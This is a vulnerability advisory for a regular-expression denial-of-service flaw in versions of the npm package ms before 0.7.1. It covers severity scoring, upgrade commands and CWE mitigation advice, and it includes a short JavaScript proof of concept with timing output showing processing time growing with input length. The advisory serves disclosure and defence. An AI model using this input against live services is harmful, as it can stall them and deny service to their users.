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GHSA-3fx5-fwvr-xrjg CVE-2015-8315

Regular Expression Denial of Service in ms

High npm
Severity
7.5 / 10
High · CVSS 3.0
Exploit chance (EPSS)
6.95%
Chance of exploitation in the next 30 days. Higher than 94.12% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-1333 Inefficient Regular Expression Complexity
CWE-400 Uncontrolled Resource Consumption
Fix
0.7.1
Upgrade ms to this version or later

Description

Versions of ms prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.

Proof of Concept

var ms = require('ms');
var genstr = function (len, chr) {
   var result = "";
   for (i=0; i<=len; i++) {
       result = result + chr;
   }

   return result;
}

ms(genstr(process.argv[2], "5") + " minutea");

Results

Showing increase in execution time based on the input string.

$ time node ms.js 10000

real	0m0.758s
user	0m0.724s
sys	0m0.031s

$ time node ms.js 20000

real	0m2.580s
user	0m2.494s
sys	0m0.047s

$ time node ms.js 30000

real	0m5.747s
user	0m5.483s
sys	0m0.080s

$ time node ms.js 80000

real	0m41.022s
user	0m38.894s
sys	0m0.529s

Affected versions

npm

PackageVulnerableFixed in
ms
< 0.7.1
0.7.1

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

ms npm → 0.7.1

npm
npm install ms@0.7.1
yarn
yarn add ms@0.7.1
pnpm
pnpm add ms@0.7.1

Severity breakdown

CVSS 3.0 7.5

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-1333: Inefficient Regular Expression Complexity

The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.

How to prevent it
  • Architecture and Design: Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.
  • System Configuration: Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.
  • Implementation: Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.
  • Implementation: Limit the length of the input that the regular expression will process.

CWE-400: Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource.

How to prevent it
  • Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
  • Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
  • Implementation: Ensure that all failures in resource allocation place the system into a safe posture.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-w9mr-4mfr-499f
Vercel ms Inefficient Regular Expression Complexity vulnerability
Medium Also affects ms
GHSA-7wch-p9px-956x
Forge: Regular expression denial of service in PEM decoding (pem.decode)
High Same weakness, CWE-1333
GHSA-xcq7-p3pf-p88h
OpenTelemetry Python: Unbounded tracestate parsing in opentelemetry-api
Medium Same weakness, CWE-1333
GHSA-xgh8-jp6q-p5x8
Pillow: ReDoS in XbmImagePlugin: 512-byte file stalls Image.open() for minutes
High Same weakness, CWE-1333
GHSA-rxp7-6hxx-x8q5
ip-address: Address6 matches a zone identifier in quadratic time ahead of its length limit, allowing a single long string to stall the process
Medium Same weakness, CWE-1333
GHSA-r925-mgvr-h9cc
Symfony: ReDoS in HeaderUtils::split() Reachable Through the Cache-Control Request Header
High Same weakness, CWE-1333
GHSA-4ffr-jq9g-5ffx
Nodemailer: Quadratic backtracking in SMTP AUTH mechanism detection regexes allows pre-auth remote denial of service
High Same weakness, CWE-1333
GHSA-m64x-33q8-m5h7
GitPython parse_actor_and_date() is vulnerable to quadratic backtracking on malformed identity lines
High Same weakness, CWE-1333
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